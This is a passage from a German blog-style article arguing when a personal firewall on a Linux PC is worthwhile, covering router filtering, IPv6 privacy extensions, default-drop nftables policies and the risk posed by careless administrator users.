vorgehalten wird und für den neugestarteten PC wird einfach der bestehende Prefix über das Router Advertisement an den Client-PC übermittelt - durch die konstante MAC-Adresse des Netzwerk-Interfaces im PC kommt also die gleiche IPv6 raus, wie zuvor. Nur nach einer echten Trennung des Routers vom DSL-Zugang und der damit einhergehenden Vergabe eines neuen Prefix würde ein lokaler PC wirklich eine neue IPv6 verwenden und wäre somit erst mal wieder ‚unbekannt‘ im Internet. Leider hat man aber selbst mit dem Router-Neustart keine Garantie dafür, selbst dann könnte man den gleichen Prefix wie zuvor übermittelt bekommen. Um einen Prefix-Wechsel wirklich zu erzwingen könnte es also sogar notwendig sein, den Router minutenlang (oder länger) ausgeschaltet zu lassen.

Wir können diese mögliche Wiedererkennung über die u.U. gleichbleibende IPv6 aber relativ einfach vermeiden, indem wir den IPV6-Stack mit den „Privacy Extensions“ konfigurieren und damit eine wechselnde IPv6 erzwingen. Damit wird sichergestellt, dass die aktuell verwendete IPv6 nicht aus der MAC abgeleitet wird, sondern wirklich zufällig ist und auf jeden Fall nur eine vorübergehende Gültigkeit hat. Nach Ablauf der Gültigkeit und wenn alle Verbindungen auf dieser IP beendet sind, kann diese IP-Adresse nicht mehr verwendet werden. Somit ist sichergestellt, dass ein üblicher Desktop-PC spätestens nach dem nächsten Neustart eine neue und im Internet zunächst unbekannte IPv6 verwendet, zwar in Abhängigkeit vom zugeteilten Prefix, aber nicht mehr abhängig von der MAC-Adresse des NIC. Damit ist sowohl der Wiedererkennung als auch der gezielten Ansprache aus dem Internet ein Riegel vorgeschoben. Dabei müssen wir aber unbedingt beachten, dass alle Bemühungen die Wiedererkennung zu vermeiden nichts anderes als Scheingefechte ohne Erfolgsaussicht sind, wenn wir nicht gleichzeitig verhindern, dass Browser-Cookies diese Lücke wieder schließen.

Aus Sicht des Routers gilt für beide IP-Protokolle gleichermaßen die Regel, dass eine neue Verbindung (Conntrack-State = NEW) nur von innen heraus ins Internet geöffnet werden kann. Eine von außen initiierte Verbindung wird generell abgewiesen, es sein denn, dass vorher im Router bestimmte Ports ausdrücklich geöffnet wurden und von außen kommende NEW-Pakete unmittelbar weiter zu einem bestimmten PC geroutet werden.

Also auch die mit einer Global-Unicast-IPv6 ausgestatteten Geräte, die damit zwar eine internettaugliche Adresse haben, können vom Internet aus nicht direkt angesprochen werden, selbst dann nicht, wenn die betroffene IPv6 dem Angreifer sogar bekannt wäre.

"Muss ich das echt alles wissen...?… ich will doch bloß ne Firewall auf meinem PC"

Ja, eben… Du willst doch eine Firewall einrichten, wie soll das denn gehen, wenn Du gar nicht weißt, auf was es dabei ankommt und was Du beachten mussst? Wenn es Dir nur um ‚eine‘ zusätzliche Firewall auf dem PC geht, gibt‘s natürlich auch eine einfache Lösung…. installiere Dir Wine und darin dann Zonealarm. Das bringt zwar nix, aber Du kannst wenigstens sagen, dass Du eine Firewall installiert hast. Dann kannst Du Dir auch die Arbeit ersparen, ein wenig Hintergrundwissen zu erwerben. Wenn Deine Firewall aber erfolgreich schützen soll ...tja… Pech gehabt, das bedeutet Arbeit…  ;-)

 

Also, weiter geht‘s... diese spezielle Router-Funktion verhindert jedenfalls alle Zugriffe aus dem Internet und wirkt bezogen auf diesen Aspekt dadurch durchaus wie eine Firewall... solange der Router nicht vorher manipuliert oder unsachgemäß an den Einstellungen gespielt wurde. Diese Hardware-Funktion ist also fester und zweifelsfrei wirksamer Bestandteil der Firmware unseres DSL-Routers.

Natürlich werden hartgesottene Sicherheitsexperten jetzt wieder argumentieren "Ein typischer Consumer-Router ist per se als kompromittiert anzusehen, weil seine Firmware proprietäre Software ist!" Ja, das ist wohl so. Ich schließe auch nicht völlig aus, dass AVM oder TP-Link als Hersteller meiner Router bei Default-Settings jederzeit die Möglichkeit haben, von außerhalb die Kontrolle über ihr/mein Gerät zu übernehmen. Die TR-069-Schnittstelle ist faktisch eine Backdoor für genau solche Zwecke. Diese Lücke konnte ich jedoch bei meiner Fritzbox erfolgreich schließen, bzw. den Service deaktivieren. Ist es darüber hinausgehend noch vorstellbar, dass auch die Inlands- und Auslandsgeheimdienste unserer Welt sämtlich einen Hintereingang in unsere Router und damit in unsere privaten Netzwerke haben …?... *hmmmm* … ja, ist vorstellbar, technisch wäre das wohl problemlos umzusetzen, aber ich kann mir beim besten Willen nicht vorstellen, dass das auf Dauer unentdeckt bleibt. Tja, welche Alternativen habe ich aber? Ein eigenes DSL-Modem und einen eigenen Router bauen ...?... bei dem ich nie wirklich sicher sein kann, ob nicht von mir verbockte Design-Fehler aus diesem Eigenbau ein (von mir unentdecktes) offenes Scheunentor in mein Heim-Netzwerk machen ...?... nee, Danke ... da bleib ich doch lieber bei meiner Fritzbox.

Ganz nebenbei bemerkt, solche Fragen betreffen ja nicht nur die Firmware der Fritzbox allein. Woher weiß ich zum Beispiel, dass ASUS als Hersteller meines Motherboards mit integrierter proprietärer Netzwerksoftware das nicht auch kann? Was ist mit Druckern mit integrierter LAN-Funktion? Ich weiß das alles nicht.

Ich habe mich jedenfalls deshalb dazu entschlossen, mein Bestreben nach besserer Sicherheit zum Schutz meiner digitalen Privatsphäre nicht in Paranoia ausarten zu lassen.

Die einzige für mich realistische Alternative wäre dann wohl, gänzlich auf den Betrieb eines Computers mit Zugang zum Internet zu verzichten. Nee, auch das ist für mich wirklich keine Alternative.

 
 

Deshalb verlasse ich mich einfach darauf, dass weder die Router noch das Board meiner digitalen Privatsphäre prinzipiell feindselig gegenüberstehen. Ich hoffe, wenn solche Features und deren planmäßiger Gebrauch resp. deren planmäßiger Missbrauch bekannt werden, nicht als Bug, sondern wirklich als Feature, dass das für AVM oder TP-Link durchaus heftige wirtschaftliche Konsequenzen hätte, an deren Vermeidung zweifelsfrei hohes Firmen-Interesse besteht.

Trotzdem eine lokale Firewall?

Sei's drum... hier existieren leider Rahmenbedingungen, die meine Laienkenntnisse und meine Möglichkeiten der Einflussnahme vermutlich genau wie die der meisten anderen Home-Computer-Anwender sowieso weit übersteigen. Was ich aber weiß, ist, dass meine Fritzbox und auch die 2 TP-Link-Router von außen aus dem WWW kommende Verbindungsversuche verlässlich unterbinden, die Standard-Ports sowieso, aber auch zweifelhafte Zugänge wie TR-069 und Gastzugänge sind deaktiviert. Ich habe meinen Router auf offene Ports (4+6) aus dem Internet mit diversen Online-Tests überprüft. Ich habe versucht, die Global-Unicast-Adressen (IPv6) über das Internet gezielt und explizit zu erreichen. Für IPv4 habe ich über meinen Laptop mit den üblichen Linux-Tools unter Verwendung meines Smartphones (also via 4G-Verbindung und als WLAN-AP) von außen auf meinen Router geschaut. Ich habe mit all diesen unterschiedlichen Tests die Verlässlichkeit meiner Router-Firmware-FW für die Protokolle IPv4 und IPv6 zusammen mit den auf dem Server installierten Diensten auf die Probe gestellt. Keine Chance, der Zugang wurde immer entweder direkt vom Router verhindert oder für die weitergeleiteten Ports direkt danach vom laufenden Dienst auf einem Server.

Insofern hatte ich schon über die ganze Zeit eine sehr wirksame Firewall, auf die ich mich jetzt auch durchaus verlasse, und das ganz ohne besonderes Zutun von mir. Eine weitere Firewall, quasi als Desktop-Firewall auf einem der Anwender-PCs würde also im Idealfall (!) nie etwas zu tun bekommen. Sie wäre zwar installiert, aber ohne jegliche Wirkung, ohne jeglichen Effekt, ohne (aus dieser Perspektive eines Angriffsvektors vom WWW) auch nur den geringsten Einfluss auf die Sicherheit dieses PCs – aber wie gesagt, das gilt nur solange, wie wir davon ausgehen, dass nicht vom Router selber die Gefahr ausgeht. Ich bin hingegen davon überzeugt, dass heute und in der Vergangenheit die Mehrheit der erfolgreich durchgeführten Angriffe und Schadensfälle sowieso nicht über die Kompromittierung des Routers oder dessen Sicherheitslücken erfolgt sind, sondern immer von innen heraus (am PC selber) vorbereitet bzw. ermöglicht wurden... und das sollte uns allen klar sein, genau dagegen ist jede Personal Firewall schlichtweg machtlos. Wenn die Router-Integrität entgegen meiner Erwartungen allerdings doch fragwürdig sein sollte … tja… dann hoffe ich, dass meine Personal Firewall auf Server und Clients diese Schwächen kompensieren kann. Beides zusammen erachte ich jedenfalls als einen für uns geeigneten, wenig aufwändigen und auch ausreichenden Firewall-Schutz…. also „ja, warum auch nicht“ ist meine Antwort auf die obige Frage.

"Was müsste denn passieren, dass eine Router-Firewall nicht mehr wirksam ist, also vielleicht deaktiviert ist?" Ich habe keine Ahnung, ob es wirklich möglich ist, die Firewall im Router als ganzes mit einem Click oder einer besonderen Einstellung zu deaktivieren. Zumindest bei meiner Fritzbox habe ich dazu keine Möglichkeit gefunden. Alle Ports sind für Zugriffe von außen per default geschlossen. Das ist auch der Grund dafür, dass z.B. einige Online-Spiele, File-Sharing-Programme, Remote-Desktop-Protokolle, VPN-Zugänge oder Server-Dienste nach der Installation des Programms auf einem dafür vorgesehenen PC zunächst mal gar nicht funktionieren.... die Router-Firewall lässt das einfach nicht zu. Um solche Funktionalität zu erlauben, ist zusätzlich immer ein expliziter Eingriff in den Router-Einstellungen notwendig, mit dem einzelne Ports ausdrücklich geöffnet werden müssen. Dazu muss festgelegt werden, welcher Protokoll-Typ zugrunde liegt (TCP oder UDP) und an welches Gerät im Heim-Netzwerk die über diesen Port hereinkommenden Datenpakete weiterleitet werden müssen. Abschließend können wir nun resümieren, wir müssen uns bei einem modernen und zeitgemäßen Router vermutlich' keine Gedanken übers Abschließen machen, sondern im Fall der Fälle nur ausdrücklich über das Aufschließen einzelner Türchen. Das vermutlich' bedeutet, ich persönlich glaube, dass die Router-Hersteller nicht vorsätzlich Schadsoftware in den Router implementiert haben, aber eine Garantie dafür gibt's natürlich leider nicht. Ich gehe aber trotzdem davon aus, dass die Router-Firewall für mein Netzwerk ein bereits vorhandener und durchaus auch wirksamer Schutz ist.

"Wann brauch ich denn überhaupt eine Firewall auf dem PC?" Meiner Meinung nach auf jeden Fall dann, wenn Du Deinem DSL-Router zweifelsfrei misstraust, aber keinen eigenen Router mit echter Firewall einrichten willst und wenn Du deine digitale Privatsphäre ausreichend sensibel und deswegen schutzwürdig einschätzt. Und ja, es gibt tatsächlich auch durchaus weitere sinnvolle Szenarien für den Einsatz einer Desktop-Firewall, jedoch vermutlich ein wenig anders geartet, als Du vielleicht erwartest. Für eine sinnvolle Antwort auf Deine Frage musst Du aber zuvor eine Antwort auf die Frage „vor wem will ich mich schützen?“ finden. Und dabei solltest Du unbedingt verstehen, dass "Schutz" und "Wogegen" immer ein binäres Verhältnis zweier einzelner konkret benannter Kontrahenten ist - entweder gewinnt der eine oder der andere, je nachdem wer cleverer ist. Es gibt deshalb keinen einfach zu erstellenden und umfassend gegen alle Angriffe wirksamen Firewall-Schutz. Mit anderen Worten, Du musst das „wogegen“ ganz konkret bezeichnen. Und das vor dem Hintergrund, dass es nicht nur ein einzelnes „wogegen“ gibt, sondern möglicherweise sehr viele. Jedes Anwendungsprogramm, jeder auf dem Rechner laufende Service, sämtliche Aktionen der User an Tastatur und Bildschirm können ein „dagegen“ beinhalten. Eine Firewall unter Linux, die aus technischer Sicht eigentlich ein Paketfilter ist, ist immer eine mehr oder weniger umfangreiche Sammlung von Regeln, bei der jede Regel einen konkreten "Gegner" hat, oder besser, sich mit einem konkreten Sachverhalt befasst. Und es gibt Regeln, die über die Power verfügen, alle anderen Regeln zu überstimmen und außer Kraft zu setzen.

 
 

Gerade beim Schreiben eigener Firewall-Regeln wird meiner Meinung nach oft ein typischer Laienfehler gemacht, nämlich dann, wenn einzelne Ports ausdrücklich erlaubt werden. Der "Regelprogrammierer" glaubt sich nun gut von seiner Firewall beschützt, weil er ja nur bestimmte Türchen zum Durchgehen erlaubt hat... das ist er aber nicht.... nicht im geringsten.... das ist unter Umständen sogar völlig wirkungslos. Wenn man eigene Filter-Regeln schreiben möchte, sind sinnvolle und am Ende auch wirklich wirksame Regeln immer nur bei gleichzeitiger Beachtung der Default-Policies des Netfilter-Layers im Linux-Kernel möglich, die dort allerdings erst mal per Default-Einstellung auf "ACCEPT" gesetzt sind. Das ist auch so OK, schließlich muss der Datenverkehr im Heim-Netzwerk ja auch funktionieren, wenn keine individuellen Netfilter-Regeln gesetzt sind. Bei diesem Hintergrund kommt man dann unweigerlich selber zu der Erkenntnis, wenn ich jetzt eigene "Erlaube-Regeln" schreiben möchte, sind die eigentlich unnütz, weil ja sowieso alles auf ACCEPT steht. Deshalb ergeben solche Regeln nur in einem Umfeld Sinn, in dem zuerst einmal grundsätzlich alles verboten ist. Aber genau das hat wiederum mögliche und unerwünschte Nebenwirkungen zur Folge, wenn nämlich zu viel verboten ist und deswegen elementare andere Funktionen auf einmal nicht mehr funktionieren. Mit zu vielen oder falschen Verboten wird vielleicht auf einmal die Systemzeit nicht mehr aktualisiert, Drucken wird verhindert, andere Rechner sind plötzlich unsichtbar, man kann damit sogar den ganzen IPv6-Stack zum Stillstand bringen.

Wenn ich hingegen "Verbiete-Regeln" erstellen möchte, sind die natürlich nur in einem Umfeld sinnvoll, in dem erst einmal alles grundsätzlich erlaubt ist. In dem einem Umfeld (Default=DROP) brauche ich mich mit Verbots-Regeln also eigentlich nicht zu befassen. In dem anderen Umfeld (Default=ACCEPT) muss ich mich nicht mit Erlaube-Regeln befassen. Gerade vor dem Hintergrund eines Default-ACCEPTs ist es faktisch völliger Unsinn, sowohl einzelne Ports explizit zu erlauben, als auch einzelne Ports ausdrücklich zu verbieten. Das Ergebnis ist in jeder Hinsicht fragwürdig. Die ACCEPTs sind eh irrelevant, weil doppelt, und wäre ich ein Angreifer, so scheren mich die DROP-Ports einen feuchten Kehricht, dann verwende ich 'outbound' einfach einen per Default-Einstellung erlaubten unprivilegierten Port. Als Fazit ist hier festzustellen, dass so ein Regel-Mischmasch von ACCEPT's und DROP's ohne Berücksichtigung der Default-Policies mit hoher Wahrscheinlichkeit letztlich nicht viel mehr als eine Fassaden-Sicherheit ist, mit kaum damit einhergehenden echten Sicherheitsgewinn.

Das bedeutet, auch mit unzureichendem Sachwissen kann man sich durchaus eine wahrlich umfangreiche Firewall aufbauen, die letztendlich dann aber wegen falschem logischen Aufbau oder wegen einer kleinen Unachtsamkeit völlig unwirksam sein kann. Was ich damit sagen will ist einfach, ich muss idealerweise eine genaue Kenntnis oder zumindest eine einigermaßen deutliche Vorstellung darüber haben, welchen Teil meiner PC-Installation ich überhaupt schützen will und natürlich auch, gegen wen dieser Schutz überhaupt wirken soll, um dann ganz konkret dagegen einen Schutzmechanismus einzurichten. Fakt ist, es gibt nur eine einzige richtige, ordnungsgemäße Paketfilter-Konfiguration, die ungeprüft und pauschal unter den meisten denkbaren Bedingungen den PC wirksam schützt.... jede andere Pauschal-Installation ist -ohne jeweils die genauen Rahmenbedingungen zu kennen und zu berücksichtigen- keinen Cent mehr wert, als das in kleinen Fläschchen abgefüllte gefärbte Wasser im Wilden Westen, was gegen Zahnschnmerzen, Dünnschiss, Haarausfall und Klapperschlangenbisse helfen soll.... es ist aber trotzdem nur gefärbtes Wasser. Und wirksam ist diese Konfiguration auch nur dann, wenn der PC zum aktuellen Zeitpunkt ganz unzweifelhaft nicht kompromittiert ist.

table inet filter {

 chain input {

  type filter hook input priority 0; policy drop;

 }

 chain output {

  type filter hook output priority 0; policy drop;

 }

 chain forward {

  type filter hook forward priority 0; policy drop;

 }

}

Allerdings ist der PC mit einem solchen Filter faktisch in jedem Netz unbrauchbar, bzw. in keiner Netzwerkumgebung sinnvoll verwendbaralso kann man hier wohl kaum von pauschaler Tauglichkeit sprechen.

Einen komplexen Paketfilter ordnungsgemäß und ohne Syntaxfehler einzurichten und dann auch zu starten ist eigentlich eine einfache Sache. Allerdings beherbergt das immer auch ein ziemlich großes Potential für leicht zu begehende konzeptionelle Fehler, die dann wieder dicke Lücken in die Sicherheit reißen - weswegen ich bei der Entwicklung meiner Regeln die Direktive „kompromisslose Eindeutigkeit und leicht nachvollziehbar“ vertrete. Denn gerade bei der Entwicklung sollte man den gravierenden Unterschied zwischen "ordnungsgemäß" und "wirksam" wirklich nicht übersehen. Eine unwirksamer Paketfilter startet nämlich auch ohne irgendwelche Fehlermeldungen, er verbrennt allerdings nur die PC-Performance, ohne jeglichen Nutzen für mich und gaukelt mir eine Sicherheit vor, die gar nicht besteht. Der richtige Lösungsansatz ist stattdessen, wenn unterschiedliche Angriffsflächen existieren, die möglicherweise echten Bedrohungen oder Angriffen ausgesetzt sind, muss ich für jede einzelne einen entsprechenden Schutz einrichten. Bei der alleinigen Antwort oben vom Anfang des Artikels kommt man am besten zu dem Fazit "Lass es besser sein, Du brauchst keine Firewall, Du kriegst damit eh nicht den Schutz, denn Du Dir vorstellst." Und schließlich ist auf die Frage "Wann brauch ich..." auch zu antworten, dass gerade die gewissenhaften PC-User, die nicht leichtsinnig oder fahrlässig mit ihrem PC arbeiten, sondern mit Sachverstand, die nur reguläre Software verwenden und die häufige Änderungen an der Installationsbasis des Betriebssystems nach Möglichkeit vermeiden, eigentlich überhaupt keine Desktop-Firewall benötigen. An dieser Stelle drängt sich dann geradezu der Gedanke auf, dass es bei diesem Thema wirklich keine einzig-wahre oder pauschal gültige Antwort oder Lösung gibt. Mit anderen Worten, es muss immer eine zu den individuellen Gegebenheiten passende Lösung gefunden werden. Und die kann auch durchaus sein, gar keine Personal Firewall einzurichten.

Darüber hinaus gibt es Einflüsse (vorrangig durch User), welche die vollständige Personal Firewall auch wieder neutralisieren können. Bei all diesen Betrachtungen und Aspekten dürfen wir letztlich nämlich nicht vergessen, dass der berechtigte Anwender, also der Herr über das Admin-Passwort, immer und zu jeder Zeit auch dazu berechtigt ist, jedweden Schutz zu deaktivieren oder zu umgehen... und das natürlich bewusst und vorsätzlich, aber leider manchmal auch unbewusst und unbemerkt... ob er immer kann oder versteht, was er da tut, ist fraglich, aber er darf es. Deshalb werden wir im Laufe des Artikels also noch erkennen, dass eine 'Personal Firewall' auf dem PC nicht wirklich eine echte Firewall ist, sie ist einfach nur ein so bezeichnetes Programm. Ich betrachte eine solche 'Personal Firewall' dann sogar als sicherheitstechnischen Trugschluss, wenn die ganze Sicherheit allein darauf basieren soll.... so funktioniert das aber nicht. Dem entgegengesetzt bin ich aber trotzdem ein Befürworter einer Personal Firewall. Ich bewerte sie unter bestimmten Rahmenbedingungen durchaus als eine die allgemeine Security unterstützende präventive Maßnahme … selbst wenn sie ganz am Ende nur dazu dienen sollte, den PC „gegen“ den eigenen Router zu schützen. Ich bewerte sie ganz ähnlich, wie ich ein präventiv eingenommenes Medikament bewerte. Ebenso wie bei der Personal Firewall gibt es auch beim Medikament mehrere mögliche und ganz unterschiedliche Resultate, wie z.B. ein neutrales, wenn das Medikament weder eine Soll-Wirkung zeigt, noch negative Nebenwirkungen hat. In dem Fall könnte ich es mir auch einfach ersparen. Ein schlechtes Resultat wäre, wenn das Medikament keine Soll-Wirkung hat, aber viele negative Nebenwirkungen. Das ist dann wirklich schlecht für mich. Ein für mich gutes Resultat besteht, wenn das Medikament keine Nebenwirkungen zeigt und im Fall der Fälle wie von mir erhofft tatsächlich wirkt. Das alles kann man auch einfach auf die Firewall übertragen. Neutral ist, wenn sie eigentlich nicht das erwünschte tut (fehlender Schutz durch Bedienfehler) und -obwohl Fehlleistung vorliegt- mein System trotzdem nicht belastet. Schlecht ist, wenn sie einerseits nichts sinnvolles tut oder dabei versagt und dann auch noch die Performance des PCs oder mein Arbeiten durch Blockaden (Nebenwirkungen) nachhaltig beeinträchtigt. Besonders schlecht ist, wenn der Laie darin auch noch die Wirksamkeit seiner Firewall bestätigt sieht und deswegen einen echten Schutz vermutet. Positiv ist es nur, wenn sie mich nicht stört oder störend auffällt, aber im Fall der Fälle wie erwünscht wirkt.

Bei der Firewall ist es schließlich genau gleich wie bei der vorbeugenden Grippeimpfung, denn auch dabei bekommt man bedauerlicherweise auf die abschließende Frage niemals eine Antwort: "Hätte ich die Grippe auch ohne Impfung nicht bekommen, oder habe ich sie nicht bekommen, weil ich geimpft war?" Und gleichermaßen kann man in beiden Fälle die Komplementär-Frage stellen: "Hätte ich mit einer Impfung die Grippeinfektion verhindern können oder hätte ich die Grippe vielleicht sogar trotz Impfung bekommen?" Und bezogen auf die Firewall im Fall der Fälle: "Hätte ich vielleicht mit besserer Traffic-Regulierung den digitalen Angriff verhindern können?"

 
 

Tja, es gibt keine Antworten darauf, in beiden Fällen nicht, wie wir uns auch drehen und wenden. Aber nichtsdestotrotz, ganz ohne Zweifel sinnvoll wäre die lokale Firewall z.B. dann, wenn ein PC direkt mit dem DSL-Modem verbunden wäre und somit tatsächlich als Borderdevice unmittelbaren Kontakt mit dem Internet hat, ganz ohne Router. In diesem Fall fehlt die Block-Funktion des DSL-Routers, die dann mit hohem Sachverstand stellvertretend auf dem PC eingerichtet werden müsste/sollte. Aber wie ich oben schon sagte, das entspricht nicht so richtig der Wirklichkeit der Masse aller privaten Internet-Nutzer, so etwas wird‘s nur in Ausnahmefällen geben. Eine weitere sinnvolle Anwendung sehe ich bei Servern, die zum Internet geöffnete Dienste zur Verfügung stellen, wie z.B. Web-Server, Mail-Server, VPN-Server, etc. Bei solchen Funktionen ist der legale und berechtigte Zugriff aus dem Internet auf diese Dienste ja das wesentliche Merkmal dieser Installation, und hierbei kann die Firewall Angriffe und Attacken auf den Server erkennen und unterbinden, wie vielleicht bei DDoS-Attacken.

Und natürlich gibt‘s auch ein zur typischen Erwartungshaltung der meisten User passendes Szenario für einen ganz normalen Anwendungsfall, wenn tatsächlich der PC selber geschützt werden muss … und zwar bei Mobilen-Geräten wie einem Laptop oder ein Notebook, also bei Endgeräten, mit denen man sich häufig an fremden Netzen anmeldet. Meistens geschieht das via WLAN an offenen WLAN-Accesspoints. Hier besteht das Problem, dass wir unser Gerät mit einer unbekannten Netzwerk-Infrastruktur und anschließend sogar mit dem Internet verbinden, ohne zu wissen, wie diese Infrastruktur überhaupt sicherheitstechnisch ausgestattet ist, von der Firewall des Gast-Routers ganz zu schweigen. Und noch weniger wissen wir, ob dieser Accesspoint überhaupt von seinem Charakter her integer ist und ob die Systemintegrität nicht bereits durch Schadsoftware kompromittiert ist. Deshalb würde ich bei solchen Gegebenheiten meinen Laptop niemals ohne eine sehr restriktiv eingestellte Firewall mit diesem Gastnetz verbinden. Bei solchem Einsatz muss eine Desktop-Firewall die Funktionen meiner heimischen Router-Firewall zum Schutz meines Laptops übernehmen. Speziell für diese Problematik befasse ich mich aber später mit einem genau für diesen Einsatzzweck gedachten Paketfilter.

Zusammengefasst hier noch einmal kurz wiederholt, unter welchen Bedingungen ich eine auf dem PC installierte FW nicht nur für sinnvoll, sondern sogar als obligatorisch notwendig betrachte:

1. wenn unser PC mit direkter und unmittelbarer Anbindung (ohne Router) ins Internet verbunden ist

2. wenn wir private Server-Systeme mit zum Internet geöffneten Diensten betreiben

3. wenn wir uns mit Mobil-Geräten (Laptops, etc.), an unbekannten Accesspoints verbinden

 

Im 4. und hier als letztes beschriebenen Szenario für eine Desktop-Firewall (und genau hier besteht eigentlich ein für mich maßgebliches Interesse) ist das Ziel, nicht die von außen bestehende Bedrohung auf unsere PCs abzuwehren, das tut ja schon die Firewall des DSL-Routers, sondern der permanent von innen bestehende Gefahr durch Sabotage zu begegnen.

"Häh? Sabotage von innen... nicht Dein Ernst, oder?" Doch, ist mein Ernst, und weil ich mich ab hier ein wenig intensiver mit dem potentiellen Saboteur befassen werde, ist hierbei schließlich das Ziel, eine Firewall auch zum Schutz vor genau diesem Saboteur einzurichten. Letztendlich habe ich bei Betrachtung all dieser Aspekte für mich zu den Punkten 2, 3 und 4 jeweils Lösungen entwickelt, die ich hier im Laufe des Artikels vorstellen werde. Schau'n wa also mal, wo die Reise hingeht.…

Konzept oder kein Konzept…?... das ist die Frage

Als Einstieg in diesen besonderen Teilaspekt des Themas 'Sicherheit durch eine Personal Firewall' müssen wir zunächst mal verstehen, was eine Firewall überhaupt ist, oder besser, was sie nicht ist. Denn wenn man sich etwas tiefergehend mit dieser Frage befasst, wird man erkennen, dass eine tatsächlich wirksame Firewall niemals nur ein einzelnes Programm auf dem PC des Hauptbenutzers sein kann, sondern das die Firewall in Wirklichkeit ein umfassendes Konzept darstellt bzw. darstellen muss, welches am Ende natürlich auch durch unterschiedliche Programme unterstützt wird. Ich will jetzt aber hier niemanden verunsichern oder entmutigen, denn richtig hohen Aufwand und einen professionellen Umfang brauchen wir für unser Ziel gar nicht.

Aber wenn jemand die Vorstellung hat, er installiert sich mal eben eine Desktop-Firewall und hat dann einen Einbruchsschutz, wie auf dem Bild nebenan illustriert, dann möchte ich darauf hinweisen, dass das so nicht funktionieren wird. Wenn jemand ein solche Schutz-Kuppel über seinen PC im Sinne hat, gibt es nur einen Weg, um dieses Ziel auch wirklich zu erreichen:

Er muss den Stecker seines LAN-Kabels abziehen und die WLAN-Karte deaktivieren - andere Möglichkeiten gibt es meiner Meinung nach nicht.

 
 

Wenn wir unser Haus vor Einbruch sichern wollen, müssen wir uns ja auch mit jedem Wohnungsfenster einzeln befassen, mit jeder Eingangstür ins Haus, mit jedem Kellerfenster. Es ist wirkungslos, wenn ich die Haustür dreifach verriegel, mit Stahl ummantel und mit einer Alarmanlage versehe, wenn ein einzelnes Kellerfenster auf der Rückseite des Hauses marode ist. Es hilft nichts, wenn ich die Fenster der ersten Etage besonders sichere, wenn über das leicht zugängliche Nebendach ein Fenster in den Obergeschossen erreicht werden kann. Das gleiche gilt i.ü.S. auch für unseren PC, es gibt nicht nur ein Fenster, nicht nur eine Eingangs-Tür, es gibt keine Kuppel namens Firewall zum komplett drüber stülpen.

Wir sollten die Tatsache akzeptieren, dass zu einer sicheren Firewall viel mehr gehört, als nur ein kleines Progrämmchen, welches man sich mal eben installiert und dann glaubt, jetzt ist alles gesichert. Um das etwas besser zu verstehen ist ein kurzer Seitenblick auf eine professionelle und business-taugliche Firewall hilfreich, zu der z.B. der Einsatz von dedizierter Hardware gehört, wie Proxyserver, dann physische Trennung von Subnetzen durch interne und externe Router, dazu AV-Scanning, Paketfilter, Script-Blocker, Applicationsgateways, Verbindungsprotokolle, Traffic-Überwachung und Analyse, Compliance-Regeln für Mitarbeiter und vieles mehr. Erst all das zusammen ergibt dann am Ende eine echte Firewall, die dieser Bezeichnung auch wirklich gerecht wird.... nur ist es hierbei ein umfassendes Firewall-Konzept.

Außerdem beinhaltet eine echte Firewall immer auch gravierende Beschränkungen, Abschaltung von Bequemlichkeiten und Möglichkeiten, Durchsetzung von Regeln und Verboten, minderer Komfort, Verzicht, durchaus auch merkbare Beeinträchtigungen des Users an der Tastatur.

 
 

Ums kurz zu sagen, Sicherheit ist immer teuer - auf die eine oder andere Art und Weise. All das ist natürlich für unsere kleine private EDV viel zu aufwendig und wäre auch maßlos übertrieben. Aus diesem Grund und um wenigstens das zu erreichen, was für uns mit vertretbaren bzw. geringen Aufwand überhaupt erreichbar ist, beschränke ich mich auf einen kleinen, aber durchaus wirksamen Aspekt aus dem großen Gesamtpaket, und zwar dem Aspekt, der am Besten zu den schon erwähnten Compliance-Regeln passt, also den Regeln, die das Benutzer-Verhalten beschreiben und regulieren.

Ja, es ist auch mit eher einfachen Mitteln möglich, eine sehr effektive Firewall einzurichten, die auch wirklich unsere Erwartungen erfüllt. Auch mit einfachen Mitteln ist ein wirksamer Schutzschild möglich. Aber, bevor wir loslegen und wenn wirklich eine Verbesserung der Sicherheit erreicht werden soll, sollten wir damit beginnen, ein paar Vorurteile über Bord zu werfen und etwas später auch ein paar Änderungen bezgl. unseres bisherigen eigenen Verhaltens akzeptieren.

 
 

Vermeidbare Risiken

Das alleinige Programm "Desktop-Firewall" (wie man das auch von Windows her kennt) und ohne dahinterstehendes Firewall-Konzept ist m.M.n. wirklich nicht mehr als eine reine Fake-Anwendung, ein sicherheitstechnischer Trugschluss, und zwar vordergründig genau dann, wenn der User selber in der Administratoren-Gruppe eingetragen ist.... oder wie das bei einigen Linux-Distributionen der Fall ist, er wurde automatisch durch den Installer als Mitglied der Gruppe "sudo" eingetragen.

Daraus resultiert zwangsläufig aber auch der unschöne Nebeneffekt, wenn der Hauptbenutzer selber das Recht hat oder sich das Recht aneignen kann, Veränderungen am System durchzuführen, so können das über kurz oder lang auch alle Anwendungen, die dieser User in seinen User-Space gestartet hat.

Ok, um nun mal den Saboteur ins Visier zu nehmen… ja ja ja, schon gut, vielleicht ist Saboteur nicht ganz die richtige Wortwahl. Zu sabotieren bedeutet ja den Vorsatz zur Sabotage zu haben, also etwas vorsätzlich und bewusst zu zerstören. Ich glaube, dass kann man hier nicht wirklich unterstellen

... aber mir hats halt Spaß gemacht, diese ein wenig provokante Bezeichnung als Einleitung zu nehmen. Denn letztlich besteht kein Unterschied darin, was ganz am Ende hinten rauskommt.

Das Ergebnis einer beabsichtigten Sabotage ist das gleiche, wie nach einer groben Fahrlässigkeit basierend auf Nichtwissen. Der einzige Unterschied ist dabei der fehlende Vorsatz, in beiden Fällen ist der eigene Computer aber möglicherweise jetzt kompromittiert.

 
 

Und ja, ich sehe deshalb den unkundigen, leichtsinnigen, verantwortungslosen, grob fahrlässigen oder sich selbst oft maßlos überschätzenden PC-Anwender als den größten Gefährder für die Integrität seines PCs. Das tatsächliche Problem dabei ist, dass ein solcher User im Regelfall als Mitglied in Admin-Groups über Berechtigungen verfügt, mit denen er aus Unkenntnis oder auch grob fahrlässig jeglichen von der Router-FW ausgehenden Schutz durch sein Wirken an der Tastatur quasi im Nebeneffekt aushebelt, weil er ganz einfach von innen heraus unbeabsichtigt und deshalb unbemerkt diesen Schutzwall demontiert.

